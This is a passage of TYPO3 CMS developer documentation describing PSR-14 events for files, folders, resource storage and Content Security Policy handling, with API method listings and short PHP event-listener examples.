The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileAddedToIndexEvent is fired once an index was just added to the database (= indexed).

Example: Using listeners for this event allows to additionally populate custom fields of the sys_file / sys_file_metadata database records.

Example

API

class AfterFileAddedToIndexEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileAddedToIndexEvent

This event is fired once an index was just added to the database (= indexed).

Examples: Allows to additionally populate custom fields of the sys_file/sys_file_metadata database records.

getFileUid ( )
Returns
int
getRecord ( )
Returns
array

AfterFileCommandProcessedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileCommandProcessedEvent can be used to perform additional tasks for specific file commands. For example, trigger a custom indexer after a file has been uploaded.

This event is fired in the \TYPO3\CMS\Core\Utility\File\ExtendedFileUtility class.

Example

EXT:my_extension/Classes/Resource/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Resource\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Resource\Event\AfterFileCommandProcessedEvent;

#[AsEventListener(
    identifier: 'my-extension/after-file-command-processed',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterFileCommandProcessedEvent $event): void
    {
        // Do magic here
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterFileCommandProcessedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileCommandProcessedEvent

Event that is triggered after a file command has been processed. Can be used to perform additional tasks for specific commands. For example, trigger a custom indexer after a file has been uploaded.

getCommand ( )

A single command, e.g.

'upload' => [
    'target' => '1:/some/folder/'
    'data' => '1'
]
Copied!
Returns
array<string,array<string,mixed>>
getResult ( )
Return description

The result - Depending on the performed action,this could e.g. be a File or just a boolean.

Returns
mixed
getConflictMode ( )
Return description

The current conflict mode

Returns
string

AfterFileContentsSetEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileContentsSetEvent is fired after the contents of a file got set / replaced.

Example: Listeners can analyze content for AI purposes within extensions.

Example

API

class AfterFileContentsSetEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileContentsSetEvent

This event is fired after the contents of a file got set / replaced.

Examples: Listeners can analyze content for AI purposes within Extensions.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getContent ( )
Returns
string

AfterFileCopiedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileCopiedEvent is fired after a file was copied within a resource storage / driver. The folder represents the "target folder".

Example: Listeners can sign up for listing duplicates using this event.

Example

API

class AfterFileCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileCopiedEvent

This event is fired after a file was copied within a Resource Storage / Driver.

The folder represents the "target folder".

Example: Listeners can sign up for listing duplicates using this event.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getNewFileIdentifier ( )
Returns
string
getNewFile ( )
Returns
?\TYPO3\CMS\Core\Resource\FileInterface

AfterFileCreatedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileCreatedEvent is fired after a file was created within a resource storage / driver. The folder represents the "target folder".

Example: This allows to modify a file or check for an appropriate signature after a file was created in TYPO3.

Example

API

class AfterFileCreatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileCreatedEvent

This event is fired before a file was created within a Resource Storage / Driver.

The folder represents the "target folder".

Example: This allows to modify a file or check for an appropriate signature after a file was created in TYPO3.

getFileName ( )
Returns
string
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

AfterFileDeletedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileDeletedEvent is fired after a file was deleted.

Example: If an extension provides additional functionality (for example variants), this event allows listeners to also clean up their custom handling. This can also be used for versioning of files.

Example

API

class AfterFileDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileDeletedEvent

This event is fired after a file was deleted.

Example: If an extension provides additional functionality (e.g. variants), this event allows listener to also clean up their custom handling. This can also be used for versioning of files.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface

AfterFileMarkedAsMissingEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileMarkedAsMissingEvent is fired once a file was just marked as missing in the database (table sys_file).

Example: If a file is marked as missing, listeners can try to recover a file. This can happen on specific setups where editors also work via FTP.

Example

API

class AfterFileMarkedAsMissingEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMarkedAsMissingEvent

This event is fired once a file was just marked as missing in the database (sys_file).

Example: If a file is marked as missing, listeners can try to recover a file. This can happen on specific setups where editors also work via FTP.

getFileUid ( )
Returns
int

AfterFileMetaDataCreatedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataCreatedEvent is fired once metadata of a file was added to the database, so it can be enriched with more information.

Example

API

class AfterFileMetaDataCreatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataCreatedEvent

This event is fired once metadata of a file was added to the database, so it can be enriched with more information.

getFileUid ( )
Returns
int
getMetaDataUid ( )
Returns
int
getRecord ( )
Returns
array
setRecord ( array $record)
param $record

the record

AfterFileMetaDataDeletedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataDeletedEvent is fired once all metadata of a file was removed, in order to manage custom metadata that was added previously.

Example

API

class AfterFileMetaDataDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataDeletedEvent

This event is fired once all metadata of a file was removed, in order to manage custom metadata that was added previously

getFileUid ( )
Returns
int

AfterFileMetaDataUpdatedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataUpdatedEvent is fired once metadata of a file was updated, in order to update custom metadata fields accordingly.

Example

API

class AfterFileMetaDataUpdatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataUpdatedEvent

This event is fired once metadata of a file was updated, in order to update custom metadata fields accordingly

getFileUid ( )
Returns
int
getMetaDataUid ( )
Returns
int
getRecord ( )
Returns
array

AfterFileMovedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileMovedEvent is fired after a file was moved within a resource storage / driver. The folder represents the "target folder".

Example: Use this to update custom third-party handlers that rely on specific paths.

Example

API

class AfterFileMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMovedEvent

This event is fired after a file was moved within a Resource Storage / Driver.

The folder represents the "target folder".

Examples: Use this to update custom third party handlers that rely on specific paths.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getOriginalFolder ( )
Returns
\TYPO3\CMS\Core\Resource\FolderInterface

AfterFileProcessingEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileProcessingEvent is fired after a file object has been processed. This allows to further customize a file object's processed file.

Example

API

class AfterFileProcessingEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileProcessingEvent

This event is fired after a file object has been processed.

This allows to further customize a file object's processed file.

getProcessedFile ( )
Returns
\TYPO3\CMS\Core\Resource\ProcessedFile
setProcessedFile ( \TYPO3\CMS\Core\Resource\ProcessedFile $processedFile)
param $processedFile

the processedFile

getDriver ( )
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface
getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getTaskType ( )
Returns
string
getConfiguration ( )
Returns
array

AfterFileRemovedFromIndexEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileRemovedFromIndexEvent is fired once a file was just removed in the database (table sys_file).

Example: A listener can further handle files and manage them separately outside of TYPO3's index.

Example

API

class AfterFileRemovedFromIndexEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileRemovedFromIndexEvent

This event is fired once a file was just removed in the database (sys_file).

Example can be to further handle files and manage them separately outside of TYPO3's index.

getFileUid ( )
Returns
int

AfterFileRenamedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileRenamedEvent is fired after a file was renamed in order to further process a file or filename or update custom references to a file.

Example

API

class AfterFileRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileRenamedEvent

This event is fired after a file was renamed in order to further process a file or filename or update custom references to a file.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getTargetFileName ( )
Returns
?string

AfterFileReplacedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileReplacedEvent is fired after a file was replaced.

Example: Further process a file or create variants, or index the contents of a file for AI analysis etc.

Example

API

class AfterFileReplacedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileReplacedEvent

This event is fired after a file was replaced.

Example: Further process a file or create variants, or index the contents of a file for AI analysis etc.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getLocalFilePath ( )
Returns
string

AfterFileUpdatedInIndexEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileUpdatedInIndexEvent is fired once an index was just updated inside the database (= indexed). Custom listeners can update further index values when a file was updated.

Example

API

class AfterFileUpdatedInIndexEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileUpdatedInIndexEvent

This event is fired once an index was just updated inside the database (= indexed).

Custom listeners can update further index values when a file was updated.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\File
getRelevantProperties ( )
Returns
array
getUpdatedFields ( )
Returns
array

AfterFolderAddedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFolderAddedEvent is fired after a folder was added to the resource storage / driver.

This allows to customize permissions or set up editor permissions automatically via listeners.

Example

API

class AfterFolderAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderAddedEvent

This event is fired after a folder was added to the Resource Storage / Driver.

This allows to customize permissions or set up editor permissions automatically via listeners.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

AfterFolderCopiedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFolderCopiedEvent is fired after a folder was copied to the resource storage / driver.

Example: Custom listeners can analyze contents of a file or add custom permissions to a folder automatically.

Example

API

class AfterFolderCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderCopiedEvent

This event is fired after a folder was copied to the Resource Storage / Driver.

Example: Custom listeners can analyze contents of a file or add custom permissions to a folder automatically.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetParentFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetFolder ( )
Returns
?\TYPO3\CMS\Core\Resource\FolderInterface

AfterFolderDeletedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFolderDeletedEvent is fired after a folder was deleted. Custom listeners can then further clean up permissions or third-party processed files with this event.

Example

API

class AfterFolderDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderDeletedEvent

This event is fired after a folder was deleted. Custom listeners can then further clean up permissions or third-party processed files with this event.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
isDeleted ( )
Returns
bool

AfterFolderMovedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFolderMovedEvent is fired after a folder was moved within the resource storage / driver. Custom references can be updated via listeners of this event.

Example

API

class AfterFolderMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderMovedEvent

This event is fired after a folder was moved within the Resource Storage / Driver.

Custom references can be updated via listeners of this event.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetParentFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetFolder ( )
Returns
?\TYPO3\CMS\Core\Resource\FolderInterface

AfterFolderRenamedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFolderRenamedEvent is fired after a folder was renamed.

Example: Add custom processing of folders or adjust permissions.

This event is also used by TYPO3 itself to synchronize folder relations in records (for example in the table sys_filemounts) after renaming of folders.

Example

API

class AfterFolderRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderRenamedEvent

This event is fired after a folder was renamed.

Examples: Add custom processing of folders or adjust permissions.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getSourceFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

AfterResourceStorageInitializationEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterResourceStorageInitializationEvent is fired after a resource object was built/created. Custom handlers can be initialized at this moment for any kind of resource as well.

Example

API

class AfterResourceStorageInitializationEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterResourceStorageInitializationEvent

This event is fired after a resource object was built/created.

Custom handlers can be initialized at this moment for any kind of source as well.

getStorage ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceStorage
setStorage ( \TYPO3\CMS\Core\Resource\ResourceStorage $storage)
param $storage

the storage

AfterVideoPreviewFetchedEvent

The purpose of the PSR-14 event \TYPO3\CMS\Core\Resource\OnlineMedia\Event\AfterVideoPreviewFetchedEvent is to modify the preview file of online media previews (like YouTube and Vimeo). If, for example, a processed file is bad (blank or outdated), this event can be used to modify and/or update the preview file.

Example

EXT:my_extension/Classes/Resource/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Resource\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Resource\OnlineMedia\Event\AfterVideoPreviewFetchedEvent;

#[AsEventListener(
    identifier: 'my-extension/after-video-preview-fetched',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterVideoPreviewFetchedEvent $event): void
    {
        $event->setPreviewImageFilename(
            '/var/www/html/typo3temp/assets/online_media/new-preview-image.jpg',
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterVideoPreviewFetchedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\OnlineMedia\Event\AfterVideoPreviewFetchedEvent

Allows to modify a generated YouTube/Vimeo (or other Online Media) preview images

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\File
getOnlineMediaId ( )
Returns
string
getPreviewImageFilename ( )
Returns
string
setPreviewImageFilename ( string $previewImageFilename)
param $previewImageFilename

the previewImageFilename

BeforeFileAddedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileAddedEvent is fired before a file is about to be added to the resource storage / driver. This allows to perform custom checks to a file or restrict access to a file before the file is added.

Example

API

class BeforeFileAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileAddedEvent

This event is fired before a file is about to be added to the Resource Storage / Driver.

This allows to do custom checks to a file or restrict access to a file before the file is added.

getFileName ( )
Returns
string
setFileName ( string $fileName)
param $fileName

the fileName

getSourceFilePath ( )
Returns
string
getTargetFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getStorage ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceStorage
getDriver ( )
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface

BeforeFileContentsSetEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileContentsSetEvent is fired before the contents of a file gets set / replaced. This allows to further analyze or modify the content of a file before it is written by the driver.

Example

API

class BeforeFileContentsSetEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileContentsSetEvent

This event is fired before the contents of a file gets set / replaced.

This allows to further analyze or modify the content of a file before it is written by the driver.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getContent ( )
Returns
string
setContent ( string $content)
param $content

the content

BeforeFileCopiedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileCopiedEvent is fired before a file is about to be copied within a resource storage / driver. The folder represents the "target folder".

This allows to further analyze or modify the file or metadata before it is written by the driver.

Example

API

class BeforeFileCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileCopiedEvent

This event is fired before a file is about to be copied within a Resource Storage / Driver.

The folder represents the "target folder".

This allows to further analyze or modify the file or metadata before it is written by the driver.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

BeforeFileCreatedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileCreatedEvent is fired before a file is about to be created within a resource storage / driver. The folder represents the "target folder".

This allows to further analyze or modify the file or filename before it is written by the driver.

Example

API

class BeforeFileCreatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileCreatedEvent

This event is fired before a file is about to be created within a Resource Storage / Driver.

The folder represents the "target folder".

This allows to further analyze or modify the file or filename before it is written by the driver.

getFileName ( )
Returns
string
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

BeforeFileDeletedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileDeletedEvent is fired before a file is about to be deleted.

Event listeners can clean up third-party references with this event.

Example

API

class BeforeFileDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileDeletedEvent

This event is fired before a file is about to be deleted.

Event listeners can clean up third-party references with this event.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface

BeforeFileMovedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileMovedEvent is fired before a file is about to be moved within a resource storage / driver. The folder represents the "target folder".

Example

API

class BeforeFileMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileMovedEvent

This event is fired before a file is about to be moved within a Resource Storage / Driver.

The folder represents the "target folder".

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetFileName ( )
Returns
string

BeforeFileProcessingEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileProcessingEvent is fired before a file object is processed. This allows to add further information or enrich the file before the processing is kicking in.

Example

API

class BeforeFileProcessingEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileProcessingEvent

This event is fired before a file object is processed.

Allows to add further information or enrich the file before the processing is kicking in.

getProcessedFile ( )
Returns
\TYPO3\CMS\Core\Resource\ProcessedFile
setProcessedFile ( \TYPO3\CMS\Core\Resource\ProcessedFile $processedFile)
param $processedFile

the processedFile

getDriver ( )
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface
getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getTaskType ( )
Returns
string
getConfiguration ( )
Returns
array

BeforeFileRenamedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileRenamedEvent is fired before a file is about to be renamed. Custom listeners can further rename the file according to specific guidelines based on the project.

Example

API

class BeforeFileRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileRenamedEvent

This event is fired before a file is about to be renamed. Custom listeners can further rename the file according to specific guidelines based on the project.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getTargetFileName ( )
Returns
?string

BeforeFileReplacedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFileReplacedEvent is fired before a file is about to be replaced. Custom listeners can check for file integrity or analyze the content of the file before it gets added.

Example

API

class BeforeFileReplacedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileReplacedEvent

This event is fired before a file is about to be replaced.

Custom listeners can check for file integrity or analyze the content of the file before it gets added.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getLocalFilePath ( )
Returns
string

BeforeFolderAddedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFolderAddedEvent is fired before a folder is about to be added to the resource storage / driver. This allows to further specify folder names according to regulations for a specific project.

Example

API

class BeforeFolderAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderAddedEvent

This event is fired before a folder is about to be added to the Resource Storage / Driver.

This allows to further specify folder names according to regulations for a specific project.

getParentFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getFolderName ( )
Returns
string

BeforeFolderCopiedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFolderCopiedEvent is fired before a folder is about to be copied to the resource storage / driver. Listeners could add deferred processing / queuing of large folders.

Example

API

class BeforeFolderCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderCopiedEvent

This event is fired before a folder is about to be copied to the Resource Storage / Driver.

Listeners could add deferred processing / queuing of large folders.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetParentFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetFolderName ( )
Returns
string

BeforeFolderDeletedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFolderDeletedEvent is fired before a folder is about to be deleted.

Listeners can use this event to clean up further external references to a folder / files in this folder.

Example

API

class BeforeFolderDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderDeletedEvent

This event is fired before a folder is about to be deleted.

Listeners can use this event to clean up further external references to a folder / files in this folder.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder

BeforeFolderMovedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFolderMovedEvent is fired before a folder is about to be moved to the resource storage / driver. Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when moving folders.

Example

API

class BeforeFolderMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderMovedEvent

This event is fired before a folder is about to be moved to the Resource Storage / Driver.

Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when moving folders.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetParentFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetFolderName ( )
Returns
string

BeforeFolderRenamedEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeFolderRenamedEvent is fired before a folder is about to be renamed. Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when renaming folders.

Example

API

class BeforeFolderRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderRenamedEvent

This event is fired before a folder is about to be renamed.

Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when renaming folders.

getFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getTargetName ( )
Returns
string

BeforeResourceStorageInitializationEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\BeforeResourceStorageInitializationEvent is fired before a resource object is actually built/created.

Example: A database record can be enriched to add dynamic values to each resource (file/folder) before the creation of a storage.

Example

API

class BeforeResourceStorageInitializationEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeResourceStorageInitializationEvent

This event is fired before a resource object is actually built/created.

Example: A database record can be enriched to add dynamic values to each resource (file/folder) before creation of a storage

getStorageUid ( )
Returns
int
setStorageUid ( int $storageUid)
param $storageUid

the storageUid

getRecord ( )
Returns
array
setRecord ( array $record)
param $record

the record

getFileIdentifier ( )
Returns
?string
setFileIdentifier ( ?string $fileIdentifier)
param $fileIdentifier

the fileIdentifier

EnrichFileMetaDataEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\EnrichFileMetaDataEvent is called after a record has been loaded from database. It allows other places to perform the extension of metadata at runtime or, for example, translation and workspace overlay.

Example

API

class EnrichFileMetaDataEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\EnrichFileMetaDataEvent

Event that is called after a record has been loaded from database Allows other places to do extension of metadata at runtime or for example translation and workspace overlay.

getFileUid ( )
Returns
int
getMetaDataUid ( )
Returns
int
getRecord ( )
Returns
array
setRecord ( array $record)
param $record

the record

GeneratePublicUrlForResourceEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\GeneratePublicUrlForResourceEvent is fired before TYPO3 FAL's native URL generation for a resource is instantiated.

This allows listeners to create custom links to certain files (for example restrictions) for creating authorized deep links.

Example

API

class GeneratePublicUrlForResourceEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\GeneratePublicUrlForResourceEvent

This event is fired before TYPO3 FAL's native URL generation for a Resource is instantiated.

This allows for listeners to create custom links to certain files (e.g. restrictions) for creating authorized deeplinks.

getResource ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceInterface
getStorage ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceStorage
getDriver ( )
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface
getPublicUrl ( )
Returns
?string
setPublicUrl ( ?string $publicUrl)
param $publicUrl

the publicUrl

ModifyFileDumpEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent is fired in the \TYPO3\CMS\Core\Controller\FileDumpController and allows extensions to perform additional access / security checks before dumping a file. The event does not only contain the file to dump but also the PSR-7 Request.

In case the file dump should be rejected, the event has to set a PSR-7 response, usually with a 403 status code. This will then immediately stop the propagation.

With the event, it is not only possible to reject the file dump request, but also to replace the file, which should be dumped.

Example

EXT:my_extension/Classes/Resource/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Resource\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-file-dump',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyFileDumpEvent $event): void
    {
        // Do magic here
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyFileDumpEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent

Event that is triggered when a file should be dumped to the browser, allowing to perform custom security/access checks when accessing a file through a direct link, and returning an alternative Response.

It is also possible to replace the file during this event, but not setting a response.

As soon as a custom Response is added, the propagation is stopped.

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceInterface
setFile ( \TYPO3\CMS\Core\Resource\ResourceInterface $file)
param $file

the file

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
setResponse ( \Psr\Http\Message\ResponseInterface $response)
param $response

the response

getResponse ( )
Returns
?\Psr\Http\Message\ResponseInterface
isPropagationStopped ( )
Returns
bool

ModifyIconForResourcePropertiesEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\ModifyIconForResourcePropertiesEvent is dispatched when an icon for a resource (file or folder) is fetched, allowing to modify the icon or overlay in an event listener.

Example

API

class ModifyIconForResourcePropertiesEvent
Fully qualified name
\TYPO3\CMS\Core\Imaging\Event\ModifyIconForResourcePropertiesEvent

This is an Event every time an icon for a resource (file or folder) is fetched, allowing to modify the icon or overlay in an event listener.

getResource ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceInterface
getIconSize ( )
Returns
\TYPO3\CMS\Core\Imaging\IconSize
getOptions ( )
Returns
array
getIconIdentifier ( )
Returns
?string
setIconIdentifier ( ?string $iconIdentifier)
param $iconIdentifier

the iconIdentifier

getOverlayIdentifier ( )
Returns
?string
setOverlayIdentifier ( ?string $overlayIdentifier)
param $overlayIdentifier

the overlayIdentifier

SanitizeFileNameEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\SanitizeFileNameEvent is fired once an index was just added to the database (= indexed), so it is possible to modify the file name, and name the files according to naming conventions of a specific project.

Example

API

class SanitizeFileNameEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\SanitizeFileNameEvent

This event is fired once an index was just added to the database (= indexed), so it is possible to modify the file name, and name the files according to naming conventions of a specific project.

getFileName ( )
Returns
string
setFileName ( string $fileName)
param $fileName

the fileName

getTargetFolder ( )
Returns
\TYPO3\CMS\Core\Resource\Folder
getStorage ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceStorage
getDriver ( )
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface

InvestigateMutationsEvent

The PSR-14 event \TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\InvestigateMutationsEvent will be dispatched when the Content Security Policy backend module searches for potential resolutions to a specific CSP violation report. This way, third-party integrations that rely on external resources (for example, maps, file storage, content processing/translation, ...) can provide the necessary mutations.

Example

API

class InvestigateMutationsEvent
Fully qualified name
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\InvestigateMutationsEvent

Event that is dispatched when reports are handled in the CSP backend module to find potential mutations as a resolution.

public readonly policy
public readonly report
isPropagationStopped ( )
Returns
bool
stopPropagation ( )
getMutationSuggestions ( )
Returns
list<\MutationSuggestion>
setMutationSuggestions ( \TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationSuggestion ...$mutationSuggestions)

Overrides all mutation suggestions (use carefully).

param $mutationSuggestions

the mutationSuggestions

